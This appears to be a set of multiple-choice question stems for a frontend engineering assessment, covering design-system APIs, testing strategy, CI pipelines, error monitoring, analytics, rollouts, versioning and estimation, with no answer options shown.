MCQ-49A design-system `<Button>` has grown to 19 boolean props. Two production incidents last quarter traced to combinations: `isLoading` and `isDisabled` set together rendered a spinner on a disabled button that still fired `onClick`, and `isDestructive` with `isSecondary` produced white-on-white text. The team proposes replacing the booleans with `variant: 'primary' | 'secondary' | 'destructive'` and `state: 'idle' | 'loading' | 'disabled'`, keeping `children` for content and spreading the remaining props onto the underlying `<button>`. Forty call sites pass `isSecondary`. Which outcome should the team expect?⌄
MCQ-92A profile card sits in a 3-column grid and must stay 72 px tall. The design spec fixes the title at 3 lines. In production, real names and job titles run to 11 lines; the card overflows and pushes the action buttons off-screen. The design system already has a tooltip component used for truncated text in the table view. Over three sprints, four engineers patched the overflow locally: one clamps with CSS, one truncates in the API response, one adds a scroll container, one shrinks the font. The designer has not been told. Which outcome should the engineer aim for?⌄
MCQ-94A PR against the shared design system changes `<DataTable>`'s default `rowHeight` from 36 px to 44 px and adds an opt-in `stickyHeader` prop. Nine routes import `DataTable`. The author's screenshot is the settings page, which renders three rows and grows 24 px: easy to miss. CI is green: 12 unit tests render `DataTable` in isolation, none render a consumer. What should the reviewer require before approving?⌄
MCQ-47A checkout form's state management is rewritten from Redux to React context. The markup, labels and user-visible behaviour are unchanged. 38 of the 52 component tests now fail; all 38 assert on `wrapper.state()`, `store.getState()` or CSS class names. The other 14, which find fields by role and label and assert on rendered text, still pass. Release is in a week. What is the right move?⌄
MCQ-73A checkout team's CI runs an automated accessibility scanner on every pull request and it passes. Their funnel data shows 30% of screen-reader users abandon the payment step after a failed submit: the error summary appears on screen, but nothing is spoken. One engineer-week is available before the release. Which testing plan should the team adopt?⌄
MCQ-87Your team ships a checkout flow weekly. Analytics shows Chrome desktop at 41% of sessions, Safari on iOS at 38%, Firefox at 6%, and older Edge at 0.3%. The device lab budget covers four configurations and one release engineer. Last quarter a date picker passed on every device the team owned but failed on iOS Safari, and a week of bookings was entered by hand. Which testing plan do you defend in the design review?⌄
MCQ-88A payments team's PR gate runs 240 end-to-end tests. The suite takes 52 minutes, and about 30% of its failures are unrelated to the change under test, a different test each run, so engineers have started merging past red builds. The team wants a gate that is under 10 minutes and red only when the change is at fault. Which change removes the cause?⌄
MCQ-89A team runs Playwright screenshot tests over 200 components. CI runs the suite twice per pull request, once in a Linux container and once on a macOS runner, and both compare against the same committed baselines, which were captured on the macOS runner. Both runners install the same font files and disable animations. The Linux run reports about 40 diffs on every PR; the macOS run reports zero. The diff images show every glyph edge shifted by a pixel or two across the whole component. Three months of triage found no real regressions in either run, and the diff threshold is 0 pixels. What is the cause?⌄
MCQ-90A frontend monorepo runs one CI pipeline per pull request, with each stage waiting for the previous one: install (npm ci, cold cache) 3 min → production build (Vite) 4 min → Playwright e2e against a preview deployment 9 min → lint + typecheck 40 s → unit tests (Vitest) 2 min. A type error in a PR is reported at minute 17, and developers have started batching several changes into one PR to avoid the wait. Which change cuts the time to first failure for a type error the most?⌄
MCQ-82A React SPA is deployed from CI. Sentry has recorded 12,400 events over three weeks, about 4% of sessions, all grouped into one issue whose top frame reads `t.value (main.7f3a2c.js:1:48213)`. The release field on every event is empty, so the team cannot tell which deploy introduced the regression or which source line throws. What should they do?⌄
MCQ-83A checkout redesign moved the confirmation screen into a client-side route. Since the release, the analytics dashboard reports 12,400 purchase_completed events for yesterday while the payment provider reports 6,180 successful charges. The event fires in the payment success handler and again in the confirmation component's mount effect, which re-runs whenever the user navigates back to that route. The event carries revenue and currency but no order identifier. What should the engineer do?⌄
MCQ-84You are replacing the checkout flow. Product wants evidence that the new flow moves the purchase-completion rate, and support wants to disable it for one user without waiting for a deploy. Which rollout plan fits?⌄
MCQ-86`@acme/ui` is at 4.7.2. Fourteen apps depend on it: eleven pin `"4.7.2"` exactly and install with `npm ci`, three declare `"^4.7.2"` and run `npm install` in CI, which re-resolves the range. A PR titled `fix: rename onSelect to onChange` removes the old prop name and changes the default `size` from `md` to `sm`. The release script bumps patch for `fix:` and minor for `feat:`. What ships, and what breaks?⌄
MCQ-93A team estimated a filter panel at 2 days from its mockup; it took 9. The actuals: happy-path layout 2 d, loading/empty/error states 2 d, accessibility and keyboard 1 d, a change to the shared table component 2 d, tests and review 2 d. They are now estimating a Saved searches panel whose mockup again shows one populated list. It needs the same three states plus accessibility and keyboard work, reuses the shared table component that was already changed for the filter panel, and carries the same tests and review. Which estimate is defensible?⌄
MCQ-98You are in a senior engineer interview. The interviewer asks you to describe a time you disagreed with a product decision. You have two prepared stories. Story A: you refused to build an animation you considered wasteful, escalated twice, and the panel read it as someone who would relitigate settled decisions. Story B: you measured a 400 KB animation library adding 1.1 s to mobile load time, proposed a CSS-only animation that met the goal, the PM decided to ship the library anyway because launch was in three days, and you supported the decision. Which story should you tell, and how?⌄